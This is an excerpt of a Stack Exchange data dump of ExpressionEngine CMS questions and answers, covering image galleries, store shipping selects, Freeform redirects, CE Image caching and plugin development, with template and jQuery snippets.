  <row Id="19127" PostTypeId="2" ParentId="19126" CreationDate="2014-02-05T17:01:26.417" Score="1" Body="&lt;p&gt;&lt;code&gt;{page_url}&lt;/code&gt; should work; seems like an odd question, but, are you sure entries in the product channel have URLs? If they're managed by Structure as &quot;Assets,&quot; they wouldn't have a URL, for example.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2014-02-05T17:01:26.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19128" PostTypeId="1" CreationDate="2014-02-05T17:11:45.570" Score="1" ViewCount="577" Body="&lt;p&gt;I've recently come across a bit of an issue that's got me stumped, here goes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a Matrix field called {images} with the following fields within it;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;project_image&lt;/code&gt; (Assets fieldtype)&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;project_title&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;project_additional_images&lt;/code&gt; (Assets fieldtype)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;On the front end of the site the &lt;code&gt;project_image&lt;/code&gt; displays. However on clicking the &lt;code&gt;project_image&lt;/code&gt; I would like to trigger a lightbox plugin (Swipebox) which in turn displays the multiple images added in &lt;code&gt;project_additional_images&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code is as follows&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{images}&#xA;&#xA;&amp;lt;li&amp;gt;&#xA;    &amp;lt;a class=&quot;swipebox&quot; href=&quot;{project_additional_images:url}&quot; rel=&quot;gallery-{row_id}&quot;&amp;gt;&#xA;&#xA;                {exp:ce_img:single src=&quot;{project_image}&quot;  &#xA;                    crop=&quot;yes&quot; &#xA;                    allow_scale_larger=&quot;no&quot; &#xA;                    class=&quot;project-img&quot; alt=&quot;{title}&quot;  &#xA;                    width=&quot;230&quot; &#xA;                    height=&quot;230&quot; &#xA;                    quality=&quot;100&quot; &#xA;                    filter=&quot;auto_sharpen&quot;}&#xA;&#xA;     &amp;lt;/a&amp;gt;     &#xA;&#xA;&amp;lt;/li&amp;gt;&amp;lt;!-- end item --&amp;gt;&#xA;&#xA;{/images}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a way to accomplish this. Looking at the code above, that currently only gets me halfway, in that it will only show a single image from the &lt;code&gt;project_additional_gallery&lt;/code&gt; field. I would ideally need it to show multiple images. The &lt;code&gt;gallery-{row_id}&lt;/code&gt; was a shot in the dark. If anyone offer some advice on this that would be much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see above, the chunk of markup also makes use of CE Image and &lt;a href=&quot;http://brutaldesign.github.io/swipebox/&quot; rel=&quot;nofollow&quot;&gt;Swipebox&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&#xA;Adam&lt;/p&gt;&#xA;" OwnerUserId="1230" LastEditorUserId="55" LastEditDate="2014-02-05T17:29:15.703" LastActivityDate="2014-02-05T18:06:08.437" Title="Display image gallery on clicking separate image using Matrix" Tags="|matrix|assets|pixelandtonic|image-galleries|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19129" PostTypeId="1" AcceptedAnswerId="19130" CreationDate="2014-02-05T17:29:22.857" Score="1" ViewCount="105" Body="&lt;p&gt;Can't seem to find an answer in the documentation, not sure a feature is even needed for this (might just need JS). Can't seem to figure it out though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using &lt;code&gt;{field:shipping_method}&lt;/code&gt; to generate a select dropdown for shipping options. I'd like the total to update after a new shipping method is selected. How can I do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now I'm using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('#shipping_method').change(function(){&#xA;        location.reload();       &#xA; });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To reload the page but it's not retaining the information. It resets to default shipping option.&lt;/p&gt;&#xA;" OwnerUserId="2678" LastActivityDate="2014-02-06T20:55:03.830" Title="Exp-resso Store Shipping Select auto refresh" Tags="|expresso-store|javascript|jquery|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19130" PostTypeId="2" ParentId="19129" CreationDate="2014-02-05T17:43:38.800" Score="2" Body="&lt;p&gt;Not sure if the markup is entirely correct, but this works:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(&quot;#shipping_method&quot;).change(function(e) {&#xA;    $(this.form).submit();&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2678" LastEditorUserId="150" LastEditDate="2014-02-06T20:55:03.830" LastActivityDate="2014-02-06T20:55:03.830" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19131" PostTypeId="2" ParentId="19128" CreationDate="2014-02-05T18:06:08.437" Score="1" Body="&lt;p&gt;Since you're not displaying link to the other images anywhere in your template, you'll need to take a different approach. It looks like you can have Swipebox &lt;a href=&quot;http://brutaldesign.github.io/swipebox/#dynamic&quot; rel=&quot;nofollow&quot;&gt;load images dynamically&lt;/a&gt; by passing it an array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So start by adding your gallery images as a comma-separated list inside of a &lt;code&gt;data&lt;/code&gt; attribute on your link:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{images}&#xA;&amp;lt;li&amp;gt;&#xA;    &amp;lt;a class=&quot;gallery&quot; href=&quot;{project_additional_images:url}&quot; data-images=&quot;{project_additional_images backspace=&quot;1&quot;}{url},{/project_additional_images}&quot;&amp;gt;&#xA;        {exp:ce_img:single src=&quot;{project_image}&quot;  crop=&quot;yes&quot; allow_scale_larger=&quot;no&quot; class=&quot;project-img&quot; alt=&quot;{title}&quot;  width=&quot;230&quot; height=&quot;230&quot; quality=&quot;100&quot; filter=&quot;auto_sharpen&quot;}&#xA;     &amp;lt;/a&amp;gt;     &#xA;&amp;lt;/li&amp;gt;&amp;lt;!-- end item --&amp;gt;&#xA;{/images}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then your JavaScript gets a little bit more complex:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('.gallery').each(function()&#xA;{&#xA;    images_string = $(this).data('images').split(',');&#xA;    images_array = [];&#xA;    $(images_string).each(function(index, el)&#xA;    {&#xA;        images_array.push({href: el});&#xA;    });&#xA;    $(this).click(function(e)&#xA;    {&#xA;        e.preventDefault();&#xA;        $.swipebox(images_array);&#xA;    });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Noticed I changed the class from &lt;code&gt;swipebox&lt;/code&gt; to &lt;code&gt;gallery&lt;/code&gt; so that the default Swipebox behaviour doesn't attach to the element.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is untested, but it should get you close.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-02-05T18:06:08.437" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="19133" PostTypeId="1" CreationDate="2014-02-05T19:35:34.353" Score="1" ViewCount="16" Body="&lt;p&gt;I just upgraded from v3.0.6 to v4.1.3. I have 8 forms that were created using v3.0.6 that seem to be still working. Can I leave them as is, even though the use some outdated parameter names?&lt;/p&gt;&#xA;" OwnerUserId="2705" LastActivityDate="2014-02-05T19:35:34.353" Title="Upgrading from FreeForm v3.0.6 to v4.1.3" Tags="|solspace-freeform|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19134" PostTypeId="1" CreationDate="2014-02-05T19:45:13.530" Score="1" ViewCount="516" Body="&lt;p&gt;I am having trouble with my form.&#xA;I have four questions and if any of them are NO, then I need the user to be directed to a &quot;not eligible&quot; type response.&#xA;However if all of the answers are YES, then I need the user to be directed to another form to complete a consent to participate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;There is a simple variable fix, but for the life of me I cant get it to function...help please!&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:form &#xA;    form_name=&quot;application_SANmeter_Eligibility&quot; &#xA;    required=&quot;name|email|phone1|user_birthday|services|address_1|gender|language&quot; &#xA;&#xA;    // IF ALL ANSWERS ARE YES, THEN THIS IS WHERE I WANT THEM REDIRECTED&#xA;    return=&quot;http://www.xxxx.org/index.php/translational_research/digital_medicine/SANmeter_index/SANmeter_Consent/&quot; &#xA;&#xA;    // IF ANY ANSWER IS NO, THEN THIS IS WHERE I WANT THEM REDIRECTED&#xA;    return=&quot;http://www.xxxx.org/index.php/translational_research/digital_medicine/SANmeter_index/SANmeter_NotEligible/&quot;&#xA;&#xA;    notify=&quot;xxxx@xxxx.org&quot; &#xA;    template=&quot;SANmeter_Eligibility_Response&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2706" LastEditorUserId="55" LastEditDate="2014-02-05T20:41:05.493" LastActivityDate="2014-02-10T16:21:58.933" Title="Conditional redirect after Freeform submission" Tags="|solspace-freeform|redirects|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19135" PostTypeId="2" ParentId="19053" CreationDate="2014-02-05T19:48:53.370" Score="1" Body="&lt;p&gt;Reinstall seemed to fix problem with greyscreen. First try must have corrupted/dropped some files. &lt;/p&gt;&#xA;" OwnerUserId="302" LastActivityDate="2014-02-05T19:48:53.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19137" PostTypeId="1" AcceptedAnswerId="19236" CreationDate="2014-02-05T20:14:39.987" Score="0" ViewCount="59" Body="&lt;p&gt;When I create a link in Wygwam, a box appears that lets me choose &quot;Site Page&quot; and select an entry from the Pages module. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is that I have several pages with the same name, because each page is accessible to a specific member group, so sometimes the list of options looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;About&#xA;Services&#xA;Contact&#xA;Contact&#xA;Contact&#xA;Contact&#xA;Work&#xA;etc.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a way to make that Site Page list show more detail, like the full URL, or the nested layout that you see when viewing pages in the Pages module?&lt;/p&gt;&#xA;" OwnerUserId="332" LastActivityDate="2014-02-07T20:58:11.580" Title="How to make &quot;Site Page&quot; link field in Wygwam show URL?" Tags="|wygwam|pages|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19138" PostTypeId="1" CreationDate="2014-02-05T20:55:55.443" Score="2" ViewCount="234" Body="&lt;p&gt;Fairly regularly, when in the admin panel editing a template, creating post content, or even creating a channel entry - when I click the Update or Submit button it takes me to the admin panel home page and none of my changes have been saved. This happens several times a day. I have 3 different EE installs that I've tried from several computers and have the same problem on all three. One of the EE installs is completely vanilla with zero add-ons. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a new EE user, I am really liking it except for when this happens because it eats up my time tremendously. Has anyone in the EE community had an issue like this before, or better yet have a solution?  Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2689" LastActivityDate="2014-02-05T21:58:05.210" Title="Expression Engine doesn't save changes when I click the Submit/Update button" Tags="|ee2|" AnswerCount="1" CommentCount="3" ClosedDate="2014-02-07T15:20:51.880" ContentLicense="CC BY-SA 3.0" />
  <row Id="19139" PostTypeId="2" ParentId="19080" CreationDate="2014-02-05T21:03:23.367" Score="1" Body="&lt;p&gt;This can be done by visiting the &lt;strong&gt;Events&lt;/strong&gt; tab in the &lt;em&gt;Calendar&lt;/em&gt; control panel:&#xA;&lt;a href=&quot;http://www.solspace.com/docs/calendar/control_panel/#events&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/calendar/control_panel/#events&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the &lt;strong&gt;Occurrences&lt;/strong&gt; column, on the row associated with event you'd like to have occurrences adjusted, click on the &lt;em&gt;Edit&lt;/em&gt; link. Then click on the occurrence for the given date/time you're wanting to adjust.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It loads up the Publish page and allows you to edit everything except for the Calendar date data itself. Once you Save that entry, it replaces the pseudo occurrence (that assumes data from the parent event entry) with an actual channel entry to store that different data. :)&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-02-05T21:03:23.367" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19140" PostTypeId="2" ParentId="15199" CreationDate="2014-02-05T21:17:05.857" Score="3" Body="&lt;p&gt;On 30.01.2014 the EllisLab-Team published a patch which stops this behavior. Just upload a little Javascript and you are done - no more automatic logouts when you are idle!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://support.ellislab.com/bugs/detail/19971/#12401&quot; rel=&quot;nofollow&quot;&gt;Description + Download-Link here&lt;/a&gt; @ EllisLab Bugtracker&lt;/p&gt;&#xA;" OwnerUserId="780" LastActivityDate="2014-02-05T21:17:05.857" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19141" PostTypeId="1" AcceptedAnswerId="19187" CreationDate="2014-02-05T21:34:11.983" Score="2" ViewCount="96" Body="&lt;p&gt;We're writing a reporting API and for the sake of speed have been using custom views and pulling the data with the query tag.  It's all going quite well, save for one thing.. parsing the modifiers tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've parsed the base64 below using php parsed on template output.. how do I convert it into some sort of html or usable info? (JSON Array?)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query backspace=&quot;1&quot; sql=&quot;SELECT * FROM exp_store_orders LEFT JOIN exp_store_order_items...&#xA;&#xA;    &amp;lt;?php&#xA;    $str = '{modifiers}';&#xA;    echo base64_decode($str);&#xA;    ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but that leaves me with an object&lt;/p&gt;&#xA;" OwnerUserId="1818" LastActivityDate="2014-02-07T16:11:47.770" Title="Parsing Modifers from Expresso Store Product Details" Tags="|expresso-store|modifiers|price-modifier|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19142" PostTypeId="2" ParentId="19138" CreationDate="2014-02-05T21:58:05.210" Score="0" Body="&lt;p&gt;What version of EE is installed.  I used to have the same issue on 2.7.2, but recently upgraded to 2.7.3 and haven't had the issue since &lt;em&gt;knock on wood&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="990" LastActivityDate="2014-02-05T21:58:05.210" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19143" PostTypeId="1" AcceptedAnswerId="19144" CreationDate="2014-02-05T22:11:08.310" Score="2" ViewCount="314" Body="&lt;p&gt;I have an EE site that is using Assets to display large images (1080px wide) that stack vertically.  I would love to use this &lt;a href=&quot;http://www.appelsiini.net/projects/lazyload&quot; rel=&quot;nofollow&quot;&gt;LazyLoad jQuery script&lt;/a&gt;, however it is required to change the &quot;src=&quot; in the  tag to &quot;data-original=&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my EE install, I am using Assets to manage these images along with CE Image to resize.  In my template, I have this Assets tag pair to output the images.  I would wish to keep the CE Image single tag, only because I want it to output both the width (which should stay at 1080px), and variable height using &quot;add_dims=&quot; parameter.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{gallery_items var_prefix=&quot;file&quot;}&#xA;  {exp:ce_img:single src=&quot;{file:url}&quot; alt=&quot;{file:alt_text}&quot; max_width=&quot;1080&quot; itemprop=&quot;image&quot; add_dims=&quot;yes&quot; class=&quot;lazyload&quot;}&#xA;{/gallery_items}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I simply change out the &quot;src=&quot;, nothing seems to output. Any help would be great!!&lt;/p&gt;&#xA;" OwnerUserId="990" LastActivityDate="2014-02-05T23:46:12.990" Title="jQuery LazyLoad for Assets images" Tags="|assets|pixelandtonic|jquery|ce-image|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19144" PostTypeId="2" ParentId="19143" CreationDate="2014-02-05T22:33:02.610" Score="2" Body="&lt;p&gt;You need to use &lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-image/user-guide/basics&quot; rel=&quot;nofollow&quot;&gt;pair tag&lt;/a&gt; for this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{gallery_items var_prefix=&quot;file&quot;}&#xA;{exp:ce_img:pair src=&quot;{file:url}&quot; max_width=&quot;1080&quot; itemprop=&quot;image&quot;}&#xA;&amp;lt;img data-original=&quot;{made_url}&quot; class=&quot;lazyload&quot; alt=&quot;{file:alt_text}&quot; width=&quot;{width}&quot; height=&quot;{height}&quot; /&amp;gt;&#xA;{/exp:ce_img:pair}&#xA;{/gallery_items}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="932" LastEditorUserId="932" LastEditDate="2014-02-05T23:46:12.990" LastActivityDate="2014-02-05T23:46:12.990" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="19145" PostTypeId="1" CreationDate="2014-02-05T22:38:14.530" Score="1" ViewCount="89" Body="&lt;p&gt;I'm using Playa to display entries in a &quot;Featured Stories&quot; list.  Let's say I have ten stories selected in the Playa.  I'd like to be able to control the first three featured stories in the order they appear in Playa but the other seven should come next in random order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible in one loop?  Something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{playa-featured-stories}&#xA;&#xA;  {stuff}&#xA;&#xA; {if &quot;{count}&quot; &amp;gt; &quot;3&quot; sort=&quot;random&quot;} &#xA;&#xA;  {stuff} &#xA;&#xA; {/if}&#xA;&#xA;{/playa-featured-stories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which obviously doesn't work&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suppose I could use two loops and target entries 1-3 and 4-10 separately but feel like there is a cleaner solution that I am missing?&lt;/p&gt;&#xA;" OwnerUserId="2708" LastActivityDate="2014-02-05T22:38:14.530" Title="Using Playa to display fixed and then random entries" Tags="|playa|loop|random|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19146" PostTypeId="2" ParentId="19089" CreationDate="2014-02-05T23:53:30.187" Score="-1" Body="&lt;p&gt;Does this work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you {exp:zoo_visitor:details}{visitor:username}{/exp:zoo_visitor:details}.&lt;/p&gt;&#xA;" OwnerUserId="165" LastActivityDate="2014-02-05T23:53:30.187" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19147" PostTypeId="1" AcceptedAnswerId="19527" CreationDate="2014-02-05T23:54:59.437" Score="2" ViewCount="56" Body="&lt;p&gt;I wanted all my private messages and comments HTML text to be converted to character entities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fortunately for private messages, I was able to do it by setting a configuration via the Control Panel&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Members -&gt; Preferences -&gt; Private Messaging Preferences -&gt; HTML Formatting in Private Messages&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking for a similar configuration for comments in the Control Panel, I can't seem to find any.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a configuration for this specifically for comments?&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2014-02-18T12:19:33.173" Title="Comments - Convert HTML to character entities" Tags="|comments|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19148" PostTypeId="1" AcceptedAnswerId="19149" CreationDate="2014-02-06T00:40:16.287" Score="2" ViewCount="109" Body="&lt;p&gt;I am writing my first EE plugin and have finally hit a roadblock. Here is how it looks&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        class Thank_you {&#xA;&#xA;        public function __construct()&#xA;        {&#xA;            $this-&amp;gt;EE = get_instance();&#xA;&#xA;            $entries = $this-&amp;gt;EE-&amp;gt;db-&amp;gt;from('channel_titles')-&amp;gt;get();&#xA;    }&#xA;public function contacts()&#xA;    {&#xA;&#xA;        $db2   = $this-&amp;gt;EE-&amp;gt;load-&amp;gt;database('ext_db', TRUE);&#xA;        $query = $db2-&amp;gt;select('FirstName, LastName, MealType')-&amp;gt;order_by('id','DESC')-&amp;gt;get('contact',10);&#xA;&#xA;        $contacts = $query-&amp;gt;result();&#xA;&#xA;        return $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;parse_variables($this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagdata, $contacts);&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So the goal here is to pass an array of contacts to the template and iterate from there. All that I get with &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:thank_you:contacts}&#xA;        {FirstName}&#xA;    {/exp:thank_you:contacts}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is an output of {FirstName}. Where am I going wrong on this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2709" LastActivityDate="2014-02-06T01:37:30.057" Title="My First Plugin" Tags="|plugin|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19149" PostTypeId="2" ParentId="19148" CreationDate="2014-02-06T01:37:30.057" Score="3" Body="&lt;p&gt;You need to loop through the query result and build an array containing your variables. Using the following code after your query should work.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($query-&amp;gt;num_rows() == 0)&#xA;{&#xA;    return $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;no_results();&#xA;}&#xA;&#xA;foreach ($query-&amp;gt;result() as $row)&#xA;{&#xA;    $vars[] = array(&#xA;        'FirstName'     =&amp;gt; $row-&amp;gt;FirstName,&#xA;        'LastName'      =&amp;gt; $row-&amp;gt;LastName,&#xA;        'url_title'     =&amp;gt; $row-&amp;gt;MealType&#xA;    );&#xA;}&#xA;&#xA;return $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;parse_variables($this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagdata, $vars);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="975" LastActivityDate="2014-02-06T01:37:30.057" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19150" PostTypeId="1" AcceptedAnswerId="19152" CreationDate="2014-02-06T03:06:01.943" Score="1" ViewCount="24" Body="&lt;p&gt;Looking to create an overall stat statement that can return these stats:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;View {# of entries in channel &quot;distributors&quot;} in {# of categories with entries within channel &quot;distributors&quot;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Need it to only count the categories that have entries, not the empty ones. I know I can do that first portion, but wonder how to do the second. Also, can't quite figure out what combination of exp:channel tags I'd need to use.&lt;/p&gt;&#xA;" OwnerUserId="1595" LastActivityDate="2014-02-06T05:05:03.717" Title="Making: View {# of entries} in {# of categories with entries}" Tags="|categories|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19151" PostTypeId="2" ParentId="19117" CreationDate="2014-02-06T03:21:53.587" Score="2" Body="&lt;p&gt;The format for &lt;code&gt;date_range_start=&quot;&quot;&lt;/code&gt; and &lt;code&gt;date_range_end=&quot;&quot;&lt;/code&gt; parameters is &lt;strong&gt;YYYY-MM-DD&lt;/strong&gt;, not MM-DD-YYYY.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-02-06T03:21:53.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19152" PostTypeId="2" ParentId="19150" CreationDate="2014-02-06T05:05:03.717" Score="1" Body="&lt;p&gt;The most simple way in this case is use &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/categories.html#parameters&quot; rel=&quot;nofollow&quot;&gt;exp:channel:categories&lt;/a&gt; tag&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:categories channel=&quot;news&quot; style=&quot;linear&quot; show_empty=&quot;no&quot;}&#xA;    {if count == 1} {total_results} {/if}&#xA;{/exp:channel:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="932" LastActivityDate="2014-02-06T05:05:03.717" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19153" PostTypeId="2" ParentId="19089" CreationDate="2014-02-06T05:18:34.163" Score="1" Body="&lt;p&gt;I think is safe enough just take the last record in DB:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1:    &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT entry_id as member_entry_id FROM exp_channel_titles WHERE channel_id = 1 ORDER BY entry_id DESC LIMIT 1&quot; parse=&quot;inward&quot;}&#xA;        {exp:zoo_visitor:details member_entry_id=&quot;{member_entry_id}&quot;}&#xA;            Thank You, {visitor:member_firstname} {visitor:member_lastname}!&#xA;        {/exp:zoo_visitor:details}&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;2:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT username FROM exp_members ORDER BY member_id DESC LIMIT 1&quot;}&#xA;        Thank You, {username}!&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;3: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:zoo_visitor:members limit=&quot;1&quot;}&#xA;    Thank You, {visitor:member_firstname} {visitor:member_lastname}! &#xA;{/exp:zoo_visitor:members}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="932" LastActivityDate="2014-02-06T05:18:34.163" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19154" PostTypeId="1" CreationDate="2014-02-06T06:16:29.933" Score="0" ViewCount="78" Body="&lt;p&gt;I am using EE (v 2.5.2),super search (v 2.0.8) and Tag module (v 4.2.3),I want to know if we can get the tags of any channel entries in search result?,if yes then how to do that because I was not able to find any documentation in getting tags in search results using SUPER SEARCH&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&#xA;Nisar&lt;/p&gt;&#xA;" OwnerUserId="1210" LastActivityDate="2014-02-06T14:03:43.763" Title="Can we get tags in supersearch results?" Tags="|solspace|supersearch|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19155" PostTypeId="1" AcceptedAnswerId="19156" CreationDate="2014-02-06T06:38:41.043" Score="1" ViewCount="49" Body="&lt;p&gt;My images are on this folder:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://localhost/images/uploads/blog/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After i resize them using CE Image, they end up here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://localhost/cache/images/uploads/blog/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there any way i can exclude /images/uploads (using the plugin, not with .htaccess)? So that CE Image can save them in:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://localhost/cache/blog/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1555" LastEditorUserId="1555" LastEditDate="2014-02-06T06:50:07.843" LastActivityDate="2014-02-06T07:46:58.617" Title="Change path for cached images" Tags="|ce-image|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19156" PostTypeId="2" ParentId="19155" CreationDate="2014-02-06T07:32:12.100" Score="2" Body="&lt;p&gt;You can try to play with parameter &lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-image/user-guide/parameters#hide_relative_path&quot; rel=&quot;nofollow&quot;&gt;hide_relative_path&lt;/a&gt; and &lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-image/user-guide/parameters#cache_dir&quot; rel=&quot;nofollow&quot;&gt;cache_dir&lt;/a&gt;. Based on what u use for upload, you can make this like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{news_image}&#xA;     {exp:ce_img:single src=&quot;{path}{file_name}&quot; cache_dir=&quot;/cache/{location}/&quot; hide_relative_path=&quot;yes&quot;}&#xA;{/news_image}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="932" LastEditorUserId="932" LastEditDate="2014-02-06T07:46:58.617" LastActivityDate="2014-02-06T07:46:58.617" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
